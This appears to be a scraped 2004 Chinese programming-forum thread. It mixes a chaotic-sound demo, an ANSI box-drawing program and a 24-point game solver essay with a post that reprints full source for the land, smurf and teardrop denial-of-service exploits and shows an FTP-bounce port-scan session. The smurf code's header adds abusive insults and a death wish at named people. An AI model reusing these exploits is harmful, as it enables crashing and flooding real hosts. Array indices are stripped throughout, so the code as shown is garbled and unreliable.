　　float x=0.1,k; /＊x代表x的大小，设定其初始值为0.1，即x=0.1＊/
　　fDis=fMax－fMin;
　　for(j=1;;j＋＋){
　　printf("Please input The value of k(1－4.0)\n"); /＊输入k值＊/
　　printf("If you want to quit,Please input:0\n"); /＊如果k=0退出＊/
　　scanf("％f",＆k);
　　if (k==0) break;
　　for(i=1;i<100;i＋＋) /＊去除开始的100个点＊/
　　x=k＊x＊(1－x);
　　for (i=1;i<100;i＋＋){
　　x=k＊x＊(1－x); /＊计算x的值＊/
　　sound(x＊fDis＋20); /＊用x的值控制PC喇叭的发音频率＊/
　　delay(1000); }
　　nosound(); }}
　　执行上面的小程序时，k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时，喇叭里传出的只有一个音调，重复又烦人。当k值稍稍大于3时，便开始有了韵律：so－mi－so－mi…。k值增加到3.449时，变成了so－fa－la－mi－so－fa－la－mi…，再增加k值，韵律更加复杂，终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时，音调又变成了mi－so－ti－mi－so－ti…，再增加k值又迅速地变得更加复杂。
不停地改变k值，仔细聆听，会听到混沌中的无限奥妙。</DIV>

韩冰发表于 2004-10-4 02:39

<DIV align=center>设计彩色框的C源程序</DIV>
/*
*
* Short driver module
*
*/main()
{
clrscr();
box(1,1,23,79);
box(2,2,21,77);
box(3,3,19,75);
box(4,4,17,73);
box(5,5,15,71);
box(6,6,13,69);
box(7,7,11,67);
box(8,8,9,65);
box(9,9,7,63);
box(10,10,5,61);
box(11,11,3,59);
box(12,12,1,57);
poscur(24,1);
}/************************************************************
* BOX *
*----------------------------------------------------------*
* Written by: Jeff Ebert 7/01/87 *
* Modified by: xxxxxxxxxx *
* *
* Please modify me! *
* Possible Enhancements include but are not limited t *
* 1) Variable box character styles *
* 2) Error checking *
* 3) Color options *
* *
* *
* This function builds a simple double frame for a menu. *
* The function is passed the parameters for the upper *
* left corner row, upper left corner column the height *
* of the frame and the width. *
* *
************************************************************/
#include <STDIO.H>#define ULCOR 201
#define URCOR 187
#define LLCOR 200
#define LRCOR 188
#define VBAR 186
#define HBAR 205
#define ESC 27
box(row, col, hgt, wdth)
int row, col, hgt, wdth;{
int x, y;poscur(row,col);
putchar(ULCOR);
for(x = col + 1; x <=(col + wdth -1); x++)
putchar(HBAR);
putchar(URCOR);for(x = row + 1; x <=(row + hgt - 1); x++){
poscur(x,col);
putchar(VBAR);
poscur(x,col+wdth);
putchar(VBAR);
}
poscur(x,col);
putchar(LLCOR);
for(x= col + 1; x <=(col + wdth -1); x++)
putchar(HBAR);
putchar(LRCOR);
}/********************************************************
* POSCUR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
********************************************************/
poscur(xcor,ycor)
int xcor,ycor;
{
printf("%c[%d;%dH",ESC,xcor,ycor);
}
/********************************************************
* CLRSCR *
*------------------------------------------------------*
* This function positions the cursor at the specified *
* x,y coordinate. It uses the ANSI standard ESCAPE *
* sequence to produce the desired effect. Its not the *
* fastest way to position the cursor, but perhaps the *
* most portable. *
* *
********************************************************/
clrscr()
{
printf("%c[2J",ESC);
}

韩冰发表于 2004-10-4 02:40

<DIV align=center>以前常用的攻击软件源代码 </DIV>常用攻击程序Abstract
这里有一些是老的，现在看来并没有用，但他们都很有名。1 Land攻击一台Win95的机器。这是Win95的一个漏洞，以其IP地址和端口向自
己的同一个端口发起连接（发SYN），Win95即会崩溃。
/* land.c by m3lt, FLC
crashes a win95 box */#include <STDIO.H>
#include <NETDB.H>
#include <ARPA inet.h>
#include <NETINET in.h>
#include <SYS types.h>
#include <SYS socket.h>
#include <NETINET ip.h>
#include <NETINET tcp.h>//用于TCP校验和的伪头
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};//计算IP校验和
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;for(i=0;i<(length>>1);i++)
value+=data;if((length&1)==1)
value+=(data<<8);value=(value&65535)+(value>>16);return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer;
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;fprintf(stderr,"land.c by m3lt, FLC\n");if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv);
return(-1);
}bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;if((hoste=gethostbyname(argv))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv))==-1)
{
fprintf(stderr,"unknown host %s\n",argv);
return(-1);
}if((sin.sin_port=htons(atoi(argv)))==0)
{
fprintf(stderr,"unknown port %s\n",argv);
return(-1);
}//new一个SOCK—RAW以发伪造IP包这需要root权限
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;//目的IP地址和源IP地址相同
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;//目的TCP端口和源TCPIP端口相同
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}fprintf(stderr,"%s:%s landed\n",argv,argv);close(sock);
return(0);
}
2 Smurf
smurf攻击是很简单的，它有一些IP（广播地址）地址列表，发出了一些伪造的数
据包（ICMP echo request）从而导致一场广播风暴，可以使受害主机（使它成为伪造包
的源地址）崩溃。受害者有两种：中间的设备（bounce sites 交换机或路由器）和被伪装的IP（那些
icmp echo的包都被发给它）。这种攻击依赖于路由器把一个广播地址转化为一广播桢
（如Ethernet, FF:FF:FF:FF:FF:FF），RFC中允许这种转换，但在今天看来是不需要的。可以使你router停止转换第三层的广播（IP）到第二层的广播（Ethernet）。但是Smb服务器或NT需要远程广播使LAN知道它的存在，但在路由器的上述配置会使这变
成不可能（没有WINS服务器时）。/*
*
* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
*
* spoofs icmp packets from a host to various broadcast addresses resulting
* in multiple replies to that host from a single packet.
*
* mad head t
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
* MissSatan for swallowing, napster for pimping my sister, the guy that
* invented vaseline, fyber for trying, knowy, old school #havok, kain
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
* have missed (you know who you are).
*
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
* half the cheque).
*
* and a special hi to Todd, face it dude, you're fucking awesome.
*
* mad anal t
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
* because they plain suck, Rolex for being a twit, everyone that
* trades warez, Caren for being a lesbian hoe, AcidKill for being her
* partner, #cha0s, sedriss for having an ego in inverse proportion to
* his penis and anyone that can't pee standing up -- you don't know what
* your missing out on.
*
* and anyone thats ripped my code (diff smurf.c axcast.c is rather
* interesting).
*
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
* Robbins for trying to steal my girlfriend. Not only did you show me
* no respect but you're a manipulating prick who tried to take away the
* most important thing in the world to me with no guilt whatsoever, and
* for that I wish you nothing but pain. Die.
*
* disclaimer:
* I cannot and will not be held responsible nor legally bound for the
* malicious activities of individuals who come into possession of this
* program and I refuse to provide help or support of any kind and do NOT
* condone use of this program to deny service to anyone or any machine.
* This is for educational use only. Please Don't abuse this.
*
* Well, i really, really, hate this code, but yet here I am creating another
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
* like most programmers don't like seeing bugs in their code. I saw a few
* things that should have been done better or needed fixing so I fixed
* them. -shrug-, programming for me as always seemed to take the pain away
* ...
*
*
*/#include <SIGNAL.H>
#include <STDIO.H>
#include <STDLIB.H>
#include <SYS socket.h>
#include <SYS types.h>
#include <NETINET in.h>
#include <NETINET ip.h>
#include <NETINET ip_icmp.h>
#include <NETDB.H>
#include <CTYPE.H>
#include <ARPA inet.h>
#include <UNISTD.H>
#include <STRING.H>void banner(void);
void usage(char *);
void smurf(int, struct sockaddr_in, u_long, int);
void ctrlc(int);
unsigned short in_chksum(u_short *, int);/* stamp */
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";int main (int argc, char *argv[])
{
struct sockaddr_in sin;
struct hostent *he;
FILE *bcastfile;
int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
char buf, **bcastaddr = malloc(8192);banner();
signal(SIGINT, ctrlc);if (argc < 6) usage(argv);if ((he = gethostbyname(argv)) == NULL) {
perror("resolving source host");
exit(-1);
}
memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);num = atoi(argv);
delay = atoi(argv);
pktsize = atoi(argv);if ((bcastfile = fopen(argv, "r")) == NULL) {
perror("opening bcast file");
exit(-1);
}
x = 0;
while (!feof(bcastfile)) {
fgets(buf, 32, bcastfile);
if (buf == '#' || buf == '\n' || ! isdigit(buf)) continue;
for (i = 0; i < strlen(buf); i++)
if (buf == '\n') buf = '\0';
bcastaddr = malloc(32);
strcpy(bcastaddr, buf);
x++;
}
bcastaddr = 0x0;
fclose(bcastfile);if (x == 0) {
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv);
exit(-1);
}
if (pktsize > 1024) {
fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
exit(-1);
}if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("getting socket");
exit(-1);
}
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));printf("Flooding %s (. = 25 outgoing packets)\n", argv);for (i = 0; i < num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); }
smurf(sock, sin, inet_addr(bcastaddr), pktsize);
cycle++;
if (bcastaddr == 0x0) cycle = 0;
usleep(delay);
}
puts("\n\n");
return 0;
}void banner (void)
{
puts("\nsmurf.c v4.0 by TFreak\n");
}void usage (char *prog)
{
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
"<NUM packets> <PACKET delay><PACKET size>\n\n"
"target = address to hit\n"
"bcast file = file to read broadcast addresses from\n"
"num packets = number of packets to send (0 = flood)\n"
"packet delay = wait between each packet (in ms)\n"
"packet size = size of packet (< 1024)\n\n", prog);
exit(-1);
}void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
{
struct iphdr *ip;
struct icmphdr *icmp;
char *packet;packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
icmp->type = 8;
icmp->code = 0;
icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
0, (struct sockaddr *)&sin, sizeof(struct sockaddr));free(packet); /* free willy! */
}void ctrlc (int ignored)
{
puts("\nDone!\n");
exit(1);
}unsigned short in_chksum (u_short *addr, int len)
{
register int nleft = len;
register int sum = 0;
u_short answer = 0;while (nleft > 1) {
sum += *addr++;
nleft -= 2;
}if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)addr;
sum += answer;
}sum = (sum >> 16) + (sum + 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
3 Teardrop在Linux的ip包重组过程中有一个严重的漏洞。在ip_glue()中：在循环中重组ip包：
fp = qp->fragments;
while(fp != NULL)
{
if(count+fp->len > skb->len)
{
error_to_big;
}
memcpy((ptr + fp->offset), fp->ptr, fp->len);
count += fp->len;
fp = fp->next;
}
这里只检查了长度过大的情况，而没有考虑长度过小的情况，
如 fp->len<0 时，也会使内核拷贝过多的东西。计算分片的结束位置：
end = offset + ntohs(iph->tot_len) - ihl;当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的）
是这样处理的：
if (prev != NULL && offset < prev->end)
{
i = prev->end - offset;
offset += i; /* ptr into datagram */
ptr += i; /* ptr into fragment data */
}/* Fill in the structure. */
fp->offset = offset;
fp->end = end;
fp->len = end - offset; //fp->len是一个有符号整数举个例子来说明这个漏洞：
第一个碎片：mf=1 offset=0 payload=20
敌二个碎片：mf=0 offset=10 payload=9这样第一个碎片的 end=0+20
offset=0
这样第二个碎片的 end=9+10=19
offset=offset+（20-offset）=20
fp-〉len=19-20=-1； 那么memcpy将拷贝过多的数据导致崩溃。
/*
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
*
* Linux/NT/95 Overlap frag bug exploit
*
* Exploits the overlapping IP fragment bug present in all Linux kernels and
* NT 4.0 / Windows 95 (others?)
*
* Based off of: flip.c by klepto
* Compiles on: Linux, *BSD*
*
* gcc -O2 teardrop.c -o teardrop
* OR
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
*/#include <STDIO.H>
#include <STDLIB.H>
#include <UNISTD.H>
#include <STRING.H>
#include <NETDB.H>
#include <NETINET in.h>
#include <NETINET udp.h>
#include <ARPA inet.h>
#include <SYS types.h>
#include <SYS time.h>
#include <SYS socket.h>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else /* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.
*/void usage(u_char *);
u_long name_resolve(u_char *);
u_short in_cksum(u_short *, int);
void send_frags(int, u_long, u_long, u_short, u_short);int main(int argc, char **argv)
{
int one = 1,
count = 0,
i,
rip_sock;
u_long src_ip = 0, dst_ip = 0;
u_short src_prt = 0, dst_prt = 0;
struct in_addr addr;fprintf(stderr, "teardrop route|daemon9\n\n");//建SOCK_RAW
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("raw socket");
exit(1);
}
//由系统处理IP校验和。
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
< 0)
{
perror("IP_HDRINCL");
exit(1);
}if (argc < 3) usage(argv);
if (!(src_ip = name_resolve(argv)) || !(dst_ip = name_resolve(argv)))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': /* source port (should be emphemeral) */
src_prt = (u_short)atoi(optarg);
break;
case 't': /* dest port (DNS, anyone?) */
dst_prt = (u_short)atoi(optarg);
break;
case 'n': /* number to send */
count = atoi(optarg);
break;
default :
usage(argv);
break; /* NOTREACHED */
}
}srandom((unsigned)(time((time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count) count = COUNT;fprintf(stderr, "Death on flaxen wings:\n");
addr.s_addr = src_ip;
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
fprintf(stderr, " Amt: %5d\n", count);
fprintf(stderr, "[ ");for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
fprintf(stderr, "b00m ");
usleep(500);
}
fprintf(stderr, "]\n");
return (0);
}/*
* Send two IP fragments with pathological offsets. We use an implementation
* independent way of assembling network packets that does not rely on any of
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
*/void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */
u_char byte; /* a byte */
struct sockaddr_in sin; /* socket protocol structure */sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;/*
* Grab some memory for our packet, align p_ptr to point at the beginning
* of our packet, and then fill it with zeros.
*/
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);byte = 0x45; /* IP version and header length */
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; /* IP TOS (skipped) */
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); /* IP id */
p_ptr += 2;
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; /* IP TTL */
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
p_ptr += 4; /* IP checksum filled in by kernel */
*((u_long *)p_ptr) = src_ip; /* IP source address */
p_ptr += 4;
*((u_long *)p_ptr) = dst_ip; /* IP destination address */
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */
p_ptr += 2;
*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}/* We set the fragment offset to be inside of the previous packet's
* payload (it overlaps inside the previous packet) but do not include
* enough payload to cover complete the datagram. Just the header will
* do, but to crash NT/95 machines, a bit larger of packet seems to work
* better.
*/
p_ptr = &packet; /* IP total length is 2 bytes into the header */
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
p_ptr += 4; /* IP offset is 6 bytes into the header */
*((u_short *)p_ptr) = FIX(MAGIC);if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
sizeof(struct sockaddr)) == -1)
{
perror("\nsendto");
free(packet);
exit(1);
}
free(packet);
}u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}void usage(u_char *name)
{
fprintf(stderr,
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
name);
exit(0);
}
4 Portscan 和 AntiportscanPortscan的两种主要方法：
(1) Half-open（半打开）
利用下面特性：但一个主机收到向某个端口（TCP）发出的(SYN)，
如果在这个端口有服务，那么返回（SYN+ASK），不然返回（RST）。(2) FTP scanner
利用了FTP的port命令，例如可以这样作：
选择一个FTP服务器，连上后令port命令指向目标机，如果返回
值是正确的，那么目标机的该端口是有服务的，如返回打开端口错误则
该端口无服务。
telnet 192.168.1.13 21
Trying 192.168.1.13...
Connected to pp.bricks.org.
Escape character is '^]'.
220 pp.bricks.org FTP server (Version wu-2.4.2-academ(1)
Thu May 7 23:18:05 EDT 1998) ready.user anonymous
331 Guest login ok, send your complete e-mail address as password.
pass aa@aa.aa
230 Guest login ok, access restrictions apply.
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口150 Opening ASCII mode data connection for file list.
425 Can't build data connection: Connection refused.
//该端口未活动
150 Opening ASCII mode data connection for file list.
226 Transfer complete.
//该端口活动中
但有些FTP服务器禁止你将数据连接影响其他地址，那就没办法了。上述两种方法是通用的，而针对个别系统有一些特殊方法。如一些系统受到包后会作如下处理：标志活动的端口的应答不活动端口的应答 SYN SYN|ACK RST 或 Nothing
SYN|FIN ACK or SYN|ACK* RST
ACK Nothing RST
0 flag Nothing RST你最好是试一试。Antiport
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读，
若发现一个主机不停的象你发送（SYN）包，却没有完成连结，可以认
定它在向你做portscan。notes：
早期的portscan程序是老老实实的向你一个一个端口连（完成三次握手），
而一些antiscan是在一个平时不用的端口上起一个服务器，并认为连上来的
都是向它scan。

韩冰发表于 2004-10-4 02:40

关于二十四点游戏的编程思路与基本算法
　　漫长的假期对于我来说总是枯燥无味的，闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单，就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目，这不，我们刚玩了一会儿，便遇到了一个难题——3、6、6、10（其实后来想想，这也不算是个太难的题，只是当时我们的脑筋都没有转弯而已，呵呵）。

　　问题既然出现了，我们当然要解决。冥思苦想之际，我的脑中掠过一丝念头——何不编个程序来解决这个问题呢？文曲星中不就有这样的程序吗？所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法，最先想到的自然是穷举法（后来发现我再也想不到更好的方法了，悲哀呀，呵呵），因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举，不就可以利用这个计算程序来完成这个计算二十四点的程序吗？确定了这个思路之后，我开始想这个问题的细节。
首先穷举的可行性问题。我把表达式如下分成三类——
1、无括号的简单表达式。
2、有一个括号的简单表达式。
3、有两个括号的较复4、杂表达式。
穷举的开始我对给出的四个数进行排列，其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列，算法如下:
/* ans[] 用来存放各种排列组合的数组 */
/* c[] 存放四张牌的数组 */
/* k[] c[]种四张牌的代号，其中k=I+1。
用它来代替c[]做处理，考虑到c[]中有可能出现相同数的情况 */
/* kans[] 暂存生成的排列组合 */
/* j 嵌套循环的次数 */
int fans(c,k,ans,kans,j)
int j,k[],c[];char ans[],kans[];
{ int i,p,q,r,h,flag,s,t;
for(p=0,q=0;p<4;p++)
{ for(r=0,flag=0;r<J;R++)
if(k!=kans) flag++;
if(flag==j) t=k;
}
for(s=0;s<4-j;s++)
{ kans=t];
if(j==3) { for(h=0;h<4;h++)
ans=c-1]; /* 调整生成的排列组合在最终的表
达式中的位置 */
for(h=0;h<3;h++)
symbol(ans,h); /* 在表达式中添加运算符号 */
}
else { j++;
fans(c,k,ans,kans,j);
j--;
}
}
}

　　正如上面函数中提到的，在完成四张牌的排列之后，在表达式中添加运算符号。由于只有四张牌，所以只要添加三个运算符号就可以了。由于每一个运算符号可重复，所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举，算法如下:

/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
int sans(ans,sy,j,h)
char ans[],sy[];int j,h;
{ int i,p,k,m,n; char ktans;
for(k=0;k<4;k++)
{ ans=sy]; /* 刚才的四个数分别存放在0、2、4、6位
这里的三个运算符号分别存放在1、3、5位*/
if(j==2)
{ ans=sy];
/* 此处根据不同的表达式形式再进行相应的处理 */
}
else { j++; sans(ans,sy,j--,h); }
}
}

　　好了，接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类，是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种，无括号自然不用另行处理；而第二种情况由以下代码可以得出其可能性有六种，其中还有一种是多余的。
for(m=0;m<=4;m+=2)
for(n=m+4;n<=8;n+=2)
　　这个for循环给出了添加一个括号的可能性的种数，其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0，n=8，也就是放在表达式的两端。这真是多此一举，呵呵！最后一种情况是添加两个括号，我分析了一下，发现只可能是这种形式才不会是重复的——（a b）(c d)。为什么不会出现嵌套括号的情况呢？因为如果是嵌套括号，那么外面的括号肯定是包含三个数字的（四个没有必要），也就是说这个括号里面包含了两个运算符号，而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的，则肯定可以通过一些转换去掉括号（你不妨举一些例子来试试），也就是说这一个括号没有必要；如果这两个运算符号不是同一优先级，也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高，自然就没有必要在它的外面添加括号了。

　　综上所述，所有可能的表达式的种数为24*64*（1+6+1）=12288种。哈哈，只有一万多种可能性（这其中还有重复），这对于电脑来说可是小case哟！所以，对于穷举的可行性分析和实现也就完成了。
　　接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用，那么什么是栈呢？栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的，即最后存放入栈的货物（堆在靠出口处）先被提取出去，符合“先进后出，后进先出”的原则。这种结构犹如子弹夹。
在栈中，元素的插入称为压入（push）或入栈，元素的删除称为弹出（pop）或退栈。

　　栈的基本运算有三种，其中包括入栈运算、退栈运算以及读栈顶元素，这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。

　　那么作为栈的著名应用，表达式的计算可以有两种方法。

　　第一种方法——
　　首先建立两个栈，操作数栈OVS和运算符栈OPS。其中，操作数栈用来记忆表达式中的操作数，其栈顶指针为topv，初始时为空，即topv=0；运算符栈用来记忆表达式中的运算符，其栈顶指针为topp，初始时，栈中只有一个表达式结束符，即topp=1，且OPS（1）=‘；’。此处的‘；’即表达式结束符。
　　然后自左至右的扫描待处理的表达式，并假设当前扫描到的符号为W，根据不同的符号W做如下不同的处理：
1、若W为操作数
2、则将W压入操作数栈OVS
3、且继续扫描下一个字符
4、若W为运算符
5、则根据运算符的性质做相应的处理：
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS，并继续扫描下一个字符。
(2)、若运算符W为表达式结束符‘；’且运算符栈栈顶的运算符也为表达式结束符（即OPS(topp)=’;’），则处理过程结束，此时，操作数栈栈顶元素（即OVS（topv））即为表达式的值。
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号（即OPS（topp）=’(‘)，则将左括号从运算符栈谈出，且继续扫描下一个符号。
(4)、若运算符的右不大于运算符栈栈顶的运算符（即OPS(topp)），则从操作数栈OVS中弹出两个操作数，设先后弹出的操作数为a、b，再从运算符栈OPS中弹出一个运算符，设为+，然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。

　　第二种方法——
　　首先对表达式进行线性化，然后将线性表达式转换成机器指令序列以便进行求值。

　　那么什么是表达式的线性化呢？人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式，有时必须借助括号才能将运算顺序表达清楚，而且处理也比较复杂。

　　 1929年，波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系，后来人们称之为波兰表示法（Polish notation）。波兰表达式的特点是运算符位于运算对象的后面，因此称为后缀表示。在对波兰表达式进行运算，严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
表达式波兰表达式
A-B AB-
（A-B）*C+D AB-C*D+
A*（B+C/D）-E*F ABCD/+*EF*-
（B+C）/（A-D） BC+AD-/

　　OK，所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式，利用栈可以把表达式变换成波兰表达式，也可以利用栈来计算波兰表达式的值。

　　至于转换和计算的过程和第一种方法大同小异，这里就不再赘述了。

　　下面给出转换和计算的具体实现程序——

/* first函数给出各个运算符的优先级，其中=为表达式结束符 */
int first(char c)
{ int p;
switch(c)
{ case '*': p=2; break;
case '/': p=2; break;
case '+': p=1; break;
case '-': p=1; break;
case '(': p=0; break;
case '=': p=-1; break;
}
return(p);
}
/* 此函数实现中缀到后缀的转换 */
/* M的值宏定义为20 */
/* sp[]为表达式数组 */
int mid_last()
{ int i=0,j=0; char c,sm;
c=s; sm='='; top=0;
while(c!='\0')
{ if(islower(c)) sp=c;
else switch(c)
{ case '+':
case '-':
case '*':
case '/': while(first(c)<=first(sm))
sp=sm;
sm[++top]=c; break;
case '(': sm[++top]=c; break;
case ')': while(sm!='(')
sp=sm;
top--; break;
default :return(1);
}
c=s[++i];
}
while(top>0) sp=sm;
sp='\0'; return(0);
}
